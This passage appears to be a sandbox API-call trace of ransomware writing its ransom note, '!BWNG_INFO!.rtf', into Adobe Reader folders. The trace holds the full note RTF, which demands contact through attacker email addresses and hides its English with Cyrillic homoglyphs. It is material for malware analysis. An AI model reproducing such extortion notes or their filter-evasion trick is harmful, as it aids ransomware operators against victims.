pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", lpUsedDefaultChar=0x0) returned 14086 [0042.319] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.329] CloseHandle (hObject=0x1cc) returned 1 [0042.330] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\!bwng_info!.rtf")) returned 0xffffffff [0042.330] GetLastError () returned 0x2 [0042.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0042.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 